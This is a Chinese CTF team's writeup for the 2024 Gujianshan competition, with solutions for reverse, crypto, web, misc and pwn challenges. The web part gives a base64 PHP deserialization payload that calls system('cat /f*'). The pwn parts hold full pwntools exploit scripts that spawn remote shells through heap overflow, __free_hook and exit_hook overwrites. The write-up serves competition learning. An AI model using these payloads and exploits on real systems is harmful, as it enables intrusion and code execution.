古剑山 2024

UKFC 2024 古剑山 Writeup

reverse

re2

一猜是 upx,工具梭,脱掉看里面

字符替换,简单写

1
2
3
aa="flag{de21cz4ycedfz16az31zd2dycy65ac41}"
bb=aa.replace("y","7").replace("z","8")
print(bb)

flag{de21c847cedf816a8318d2d7c765ac41}

Crpyto

Cs

出现多次 j,k,两个一组猜,前面四位减去 flag 的 ascll 都是 2,k 和左括号减一下得到偏移,所以写脚本

1
2
3
4
5
6
pp="jhjnjcjikmkfjjjkkejkkekdjgjcjnjhjnjcjiko"
for i in range(0,len(pp),2):
    if pp[i] == 'j':
       print(chr(ord(pp[i+1])-2),end='')
    else:
       print(chr(ord(pp[i+1])+14),end='')

flag{thisisrealflag}

Web

Un

  1. 打开场景,发现有一个点击获取 secret,点击之后提示 flag 在根目录/下面,这时候我想的是去绕过那一系列过滤去 bypass/,但是试过了 url,base64 等等绕过方法,由于过滤的字符实在太多,<>?!@#$%&*()+=|-\}{:";’~,/` 是被列为不允许的字符,

于是只能另辟蹊径,看到 url 路径中拼接的是 f=****

于是我试着 f=indexphp 来读取源码,由于显示不全,查看源代码来获取

这是源码,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

error_reporting(0);

class pop
{
    public $aaa;
    public static $bbb = false;

    public function __wakeup()
    {
        // PHP 5.4
        throw new Exception("You're banned to serialize pop!");    
    }

    public function __destruct()
    {
        for ($i=0; $i<2; $i++) {
            if (self::$bbb) {
                $this->aaa[1]($this->aaa[2]);
            } else {
                self::$bbb = call_user_func($this->aaa["object"]);
            }
        }
    }
}


if (isset($_GET["code"])) {
    unserialize(base64_decode($_GET["code"]));
} elseif (isset($_GET["f"])) {
    if(is_string($_GET["f"]) === false){
        echo "The f param must be string";
        exit();
    }
    $user_f = $_GET["f"];
    $regex = "/[ <>?!@#$%&*()+=|\\-\\\\}{:\";'~`,\\/]/";
    if(preg_match($regex, $user_f)){
        echo "The ".$user_f." has been detected by regular expression: ".$regex;
        exit();
    }
    echo file_get_contents($user_f);
}else{
    echo "<a href='/index.php?f=secret'>show me secret!</a>";
}

题目提示的特别明显了,php 的版本都给了出来,于是就是低版本绕过 wakeup, 防止弹出异常

于是构造 pop 链来读取/flag

运行之后进行 Wakeup 低版本的绕过,将对象属性个数值修改为大于真实个数值得到

然后由于题目源码

是要 code 传入数据,并且还得 base64 解密,所以加密一下

得到

TzozOiJwb3AiOjI6e3M6MzoiYWFhIjthOjM6e2k6MTtzOjY6InN5c3RlbSI7aToyO3M6NzoiY2F0IC9mKiI7czo2OiJvYmplY3QiO3M6NzoicGhwaW5mbyI7fX0=

直接 code 来传,进去 phpinfo,一直往下翻就找到 flag 了

Misc

蓝书包

下载题目所给的附件得到一个压缩文件,解压缩后得到

Push 一下 gpt 搓一个脚本从 ZIP 文件中提取文件,并将它们合并成一个 PNG 文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os
import zipfile

# 定义路径
folder_path = r"C:\Users\QSRTZ\Desktop\069db7f5cb3f400ba9a1eef0ebb78390"

output_folder = r"C:\Users\QSRTZ\Desktop\qs"
output_file = os.path.join(output_folder, "1.png")

# 确保输出目录存在
if not os.path.exists(output_folder):
    os.makedirs(output_folder)

# 解压文件函数
def extract_zip_files(folder_path, output_folder):
    for i in range(1, 183):
        zip_filename = os.path.join(folder_path, f'{i}.zip')
        password = f'1{i:04d}'.encode()

        try:
            with zipfile.ZipFile(zip_filename) as zf:
                zf.extractall(path=output_folder, pwd=password)
            print(f'{zip_filename} 解压成功!')
        except Exception as e:
            print(f'解压 {zip_filename} 时出错: {e}')

# 生成文件名
def generate_file_names():
    return [f's{chr(97 + i)}{chr(97 + j)}' for i in range(26) for j in range(26)]

# 将文件合并到一个输出文件
def merge_files(file_names, output_file, output_folder):
    with open(output_file, 'wb') as output_f:
        for file_name in file_names:
            file_path = os.path.join(output_folder, file_name)
            try:
                with open(file_path, 'rb') as f:
                    output_f.write(f.read())
                print(f'{file_name} 拼接成功')
            except Exception as e:
                print(f'拼接 {file_name} 时出错: {e}')

# 执行解压和文件合并
extract_zip_files(folder_path, output_folder)
file_names = generate_file_names()
merge_files(file_names, output_file, output_folder)

得到

直接使用 puzzslover 来打

PWN

pwn1

二血 直接利用残留 size 处理,打 IO_2_1_stdout 泄露出地址

然后改到 exit_hook 为 onegadget

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "-d", ".", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]

p=remote('47.112.189.16',38720)
#p = process('./inferno')  # 本地测试

def debug():
    gdb.attach(p)
    pause()

elf = ELF('./inferno')
libc = elf.libc

p.sendlineafter('Size:',str(0x402000+0x3C4620-0x10+1))

p.sendlineafter('Size:',str(0x400000))

p.sendafter(b'Data:\n',b'\x18')
p.send(b'\x00')
leaklibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['_IO_file_jumps']
print(hex(leaklibc))

p.sendafter(b'Now getshell!',p64(leaklibc+0x5f0040+3848))
p.send(p64((leaklibc+0xf1147)&0xffffff)[0:3])
# p.send(b'\x00')
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL
p.interactive()

pwn2

没什么说的 申请的 size 和要填的 size 没关系,全看你给的内容大小分配 chunk,edit 时的 size 能溢出原申请的 size,堆溢出改指针到申请的 next 位,到 freehook 为 system,然后取 shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "-d", ".", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]
p=remote('47.106.14.25',36277)
#p=process('./pwn')
#
def debug():
    gdb.attach(p)
    pause()

elf = ELF('./pwn')
libc =elf.libc

def cmd(idx):
    p.sendlineafter(b'.show\n',str(idx))

def add(idx,size,cnt):
    cmd(1)
    p.sendlineafter(b't index: ',str(idx))
    p.sendlineafter(b't size: ',str(size))
    p.sendlineafter(b'note: ',cnt)

def delete(idx):
    cmd(2)
    p.sendlineafter(b'ut index: ',str(idx))

def edit(idx,cnt):
    cmd(3)
    p.sendlineafter(b'ut index: ',str(idx))
    p.sendlineafter(b'te: ',cnt)

def show(idx):
    cmd(4)
    p.sendlineafter(b'ut index: ',str(idx))

for i in range(9):
    add(i,0xf0,b'a'*(0x78))
for i in range(8):
    delete(8-i)

show(0)
leak=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-(0x00007fe3d084dca0-0x7fe3d0462000)

add(1,0xf0,b'c'*(0x8))
add(2,0xf0,b'b'*(0x8))
delete(2)
edit(1,b'c'*(0x18)+p64(0x21)+p64(leak+libc.symbols['__free_hook']))
add(3,0x78,b'/bin/sh\x00')
add(4,0x8,p64(leak+libc.symbols['system']))
delete(3)

p.interactive()
Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计